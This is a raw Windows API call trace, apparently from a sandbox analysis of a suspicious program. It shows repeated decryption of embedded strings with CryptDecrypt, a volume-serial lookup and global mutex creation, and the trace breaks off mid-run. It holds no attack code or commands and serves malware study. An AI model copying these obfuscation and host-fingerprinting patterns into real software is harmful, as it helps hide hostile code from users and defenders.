	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.937] GetLastError () returned 0x0
	[0049.937] SetLastError (dwErrCode=0x0) 
	[0049.937] GetLastError () returned 0x0
	[0049.937] SetLastError (dwErrCode=0x0) 
	[0049.937] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.938] SetLastError (dwErrCode=0x0) 
	[0049.938] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x2e) returned 0x2721768
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.939] SetLastError (dwErrCode=0x0) 
	[0049.939] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.940] SetLastError (dwErrCode=0x0) 
	[0049.940] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.941] GetLastError () returned 0x0
	[0049.941] SetLastError (dwErrCode=0x0) 
	[0049.942] GetLastError () returned 0x0
	[0049.942] SetLastError (dwErrCode=0x0) 
	[0049.942] GetLastError () returned 0x0
	[0049.942] SetLastError (dwErrCode=0x0) 
	[0049.942] GetLastError () returned 0x0
	[0049.942] SetLastError (dwErrCode=0x0) 
	[0049.942] GetLastError () returned 0x0
	[0049.942] SetLastError (dwErrCode=0x0) 
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x94) returned 0x27217a0
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1f) returned 0x2721840
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x28) returned 0x2721868
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x37) returned 0x2721898
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x3c) returned 0x27218d8
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x31) returned 0x2721920
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x14) returned 0x2721960
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x24) returned 0x2721980
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0xd) returned 0x27219b0
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x17) returned 0x27219c8
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x2b) returned 0x27219e8
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x15) returned 0x2721a20
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x17) returned 0x2721a40
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x22) returned 0x2721a60
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0xe) returned 0x2721a90
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0xc1) returned 0x2721aa8
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x3e) returned 0x2721b78
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1b) returned 0x2721bc0
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1d) returned 0x2721be8
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x48) returned 0x2721c10
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x12) returned 0x2721c60
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x18) returned 0x2721c80
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1b) returned 0x2721ca0
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x24) returned 0x2721cc8
	[0049.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x29) returned 0x2721cf8
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2721d30
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x6b) returned 0x2721d58
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x17) returned 0x2721dd0
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0xf) returned 0x2721df0
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x16) returned 0x2721e08
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x28) returned 0x2721e28
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x27) returned 0x2721e58
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x12) returned 0x2721e88
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x21) returned 0x2721ea8
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x10) returned 0x2721ed8
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1c) returned 0x2721ef0
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x12) returned 0x2721f18
	[0049.943] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2720fd0 | out: hHeap=0x2720000) returned 1
	[0049.943] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0049.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x80) returned 0x2721f38
	[0049.943] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1218136) returned 0x0
	[0049.944] RtlSizeHeap (HeapHandle=0x2720000, Flags=0x0, MemoryPointer=0x2721f38) returned 0x80
	[0049.944] GetLastError () returned 0x0
	[0049.944] SetLastError (dwErrCode=0x0) 
	[0049.944] GetLastError () returned 0x0
	[0049.944] SetLastError (dwErrCode=0x0) 
	[0049.944] GetLastError () returned 0x0
	[0049.944] SetLastError (dwErrCode=0x0) 
	[0049.944] GetLastError () returned 0x0
	[0049.944] SetLastError (dwErrCode=0x0) 
	[0049.944] GetLastError () returned 0x0
	[0049.944] SetLastError (dwErrCode=0x0) 
	[0049.944] GetLastError () returned 0x0
	[0049.944] SetLastError (dwErrCode=0x0) 
	[0049.944] GetLastError () returned 0x0
	[0049.944] SetLastError (dwErrCode=0x0) 
	[0049.944] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.945] SetLastError (dwErrCode=0x0) 
	[0049.945] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.946] GetLastError () returned 0x0
	[0049.946] SetLastError (dwErrCode=0x0) 
	[0049.947] GetLastError () returned 0x0
	[0049.947] SetLastError (dwErrCode=0x0) 
	[0049.947] GetLastError () returned 0x0
	[0049.947] SetLastError (dwErrCode=0x0) 
	[0049.947] GetLastError () returned 0x0
	[0049.947] SetLastError (dwErrCode=0x0) 
	[0049.947] GetLastError () returned 0x0
	[0049.947] SetLastError (dwErrCode=0x0) 
	[0049.947] GetLastError () returned 0x0
	[0049.947] SetLastError (dwErrCode=0x0) 
	[0049.947] GetLastError () returned 0x0
	[0049.947] SetLastError (dwErrCode=0x0) 
	[0049.947] GetLastError () returned 0x0
	[0049.947] SetLastError (dwErrCode=0x0) 
	[0049.947] GetLastError () returned 0x0
	[0049.947] SetLastError (dwErrCode=0x0) 
	[0049.947] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x30) returned 0x2720fd0
	[0049.947] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x3300) returned 0x2721fc0
	[0049.948] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x15c) returned 0x2721008
	[0049.948] GetTickCount () returned 0x22800
	[0049.948] GetLastError () returned 0x0
	[0049.948] SetLastError (dwErrCode=0x0) 
	[0049.948] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0xaffba8, cchData=32 | out: lpLCData="\x03") returned 16
	[0049.948] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1c) returned 0x2721170
	[0049.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1c) returned 0x2721198
	[0049.949] GetVersion () returned 0x23f00206
	[0049.949] GetCurrentProcess () returned 0xffffffff
	[0049.949] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xaffb0c | out: TokenHandle=0xaffb0c*=0x1ec) returned 1
	[0049.949] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0xaffb04, TokenInformationLength=0x4, ReturnLength=0xaffb08 | out: TokenInformation=0xaffb04, ReturnLength=0xaffb08) returned 1
	[0049.949] CloseHandle (hObject=0x1ec) returned 1
	[0049.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0049.949] CryptAcquireContextW (in: phProv=0x121fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x121fcf0*=0xb8f0f8) returned 1
	[0050.474] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa68 | out: phKey=0xaffa68*=0xb99428) returned 1
	[0050.477] CryptSetKeyParam (hKey=0xb99428, dwParam=0x1, pbData=0xaffa50, dwFlags=0x0) returned 1
	[0050.477] CryptDecrypt (in: hKey=0xb99428, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffa1c | out: pbData=0x27211c0, pdwDataLen=0xaffa1c) returned 1
	[0050.477] CryptDestroyKey (hKey=0xb99428) returned 1
	[0050.477] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0050.477] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0050.477] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0050.477] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff9d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa40 | out: phKey=0xaffa40*=0xb991a8) returned 1
	[0050.477] CryptSetKeyParam (hKey=0xb991a8, dwParam=0x1, pbData=0xaffa28, dwFlags=0x0) returned 1
	[0050.477] CryptDecrypt (in: hKey=0xb991a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0xaff9f4 | out: pbData=0x2721238, pdwDataLen=0xaff9f4) returned 1
	[0050.477] CryptDestroyKey (hKey=0xb991a8) returned 1
	[0050.477] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0050.477] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0050.477] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0050.477] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0050.477] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaffaa8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaffaa8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0050.478] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0050.478] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0050.478] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa9c | out: phKey=0xaffa9c*=0xb991a8) returned 1
	[0050.478] CryptSetKeyParam (hKey=0xb991a8, dwParam=0x1, pbData=0xaffa84, dwFlags=0x0) returned 1
	[0050.478] CryptDecrypt (in: hKey=0xb991a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffa50 | out: pbData=0x27211c0, pdwDataLen=0xaffa50) returned 1
	[0050.478] CryptDestroyKey (hKey=0xb991a8) returned 1
	[0050.478] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0050.478] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0
	[0050.478] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x1f0
	[0050.478] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0050.478] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0050.478] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0050.478] ReleaseMutex (hMutex=0x1f0) returned 1
	[0050.478] CloseHandle (hObject=0x1f0) returned 1
	[0050.478] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0050.478] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa7c | out: phKey=0xaffa7c*=0xb991a8) returned 1
	[0050.478] CryptSetKeyParam (hKey=0xb991a8, dwParam=0x1, pbData=0xaffa64, dwFlags=0x0) returned 1
	[0050.478] CryptDecrypt (in: hKey=0xb991a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffa30 | out: pbData=0x27211c0, pdwDataLen=0xaffa30) returned 1
	[0050.478] CryptDestroyKey (hKey=0xb991a8) returned 1
	[0050.478] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0050.479] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0050.479] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0050.479] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff9ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa54 | out: phKey=0xaffa54*=0xb99468) returned 1
	[0050.479] CryptSetKeyParam (hKey=0xb99468, dwParam=0x1, pbData=0xaffa3c, dwFlags=0x0) returned 1
	[0050.479] CryptDecrypt (in: hKey=0xb99468, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0xaffa08 | out: pbData=0x2721238, pdwDataLen=0xaffa08) returned 1
	[0050.479] CryptDestroyKey (hKey=0xb99468) returned 1
	[0050.479] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0050.479] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0050.479] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0050.479] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0050.479] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaffabc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaffabc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0050.479] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0050.479] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0050.479] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffab0 | out: phKey=0xaffab0*=0xb991a8) returned 1
	[0050.479] CryptSetKeyParam (hKey=0xb991a8, dwParam=0x1, pbData=0xaffa98, dwFlags=0x0) returned 1
	[0050.479] CryptDecrypt (in: hKey=0xb991a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffa64 | out: pbData=0x27211c0, pdwDataLen=0xaffa64) returned 1
	[0050.479] CryptDestroyKey (hKey=0xb991a8) returned 1
	[0050.479] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0050.479] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0050.479] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0
	[0050.480] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0050.480] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0050.480] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0050.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1211f5f, lpParameter=0xaffb4c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0050.480] Sleep (dwMilliseconds=0x1388) 
	[0055.495] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0055.495] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa68 | out: phKey=0xaffa68*=0xb99368) returned 1
	[0055.495] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffa50, dwFlags=0x0) returned 1
	[0055.495] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffa1c | out: pbData=0x27211c0, pdwDataLen=0xaffa1c) returned 1
	[0055.495] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.495] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0055.495] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0055.495] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0055.495] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff9d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa40 | out: phKey=0xaffa40*=0xb994a8) returned 1
	[0055.495] CryptSetKeyParam (hKey=0xb994a8, dwParam=0x1, pbData=0xaffa28, dwFlags=0x0) returned 1
	[0055.495] CryptDecrypt (in: hKey=0xb994a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0xaff9f4 | out: pbData=0x2721238, pdwDataLen=0xaff9f4) returned 1
	[0055.495] CryptDestroyKey (hKey=0xb994a8) returned 1
	[0055.495] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0055.495] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0055.495] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0055.495] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0055.495] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaffaa8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaffaa8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0055.496] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0055.496] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0055.496] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa9c | out: phKey=0xaffa9c*=0xb994a8) returned 1
	[0055.496] CryptSetKeyParam (hKey=0xb994a8, dwParam=0x1, pbData=0xaffa84, dwFlags=0x0) returned 1
	[0055.496] CryptDecrypt (in: hKey=0xb994a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffa50 | out: pbData=0x27211c0, pdwDataLen=0xaffa50) returned 1
	[0055.496] CryptDestroyKey (hKey=0xb994a8) returned 1
	[0055.496] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0055.496] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220
	[0055.496] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102
	[0055.496] CloseHandle (hObject=0x220) returned 1
	[0055.496] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0055.496] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0055.496] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x60) returned 0x27211c0
	[0055.496] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa58, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffac0 | out: phKey=0xaffac0*=0xb99368) returned 1
	[0055.496] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffaa8, dwFlags=0x0) returned 1
	[0055.496] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffa74 | out: pbData=0x27211c0, pdwDataLen=0xaffa74) returned 1
	[0055.496] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.496] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721228
	[0055.496] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa98 | out: phKey=0xaffa98*=0xb99368) returned 1
	[0055.496] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffa80, dwFlags=0x0) returned 1
	[0055.496] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0xaffa4c | out: pbData=0x2721228, pdwDataLen=0xaffa4c) returned 1
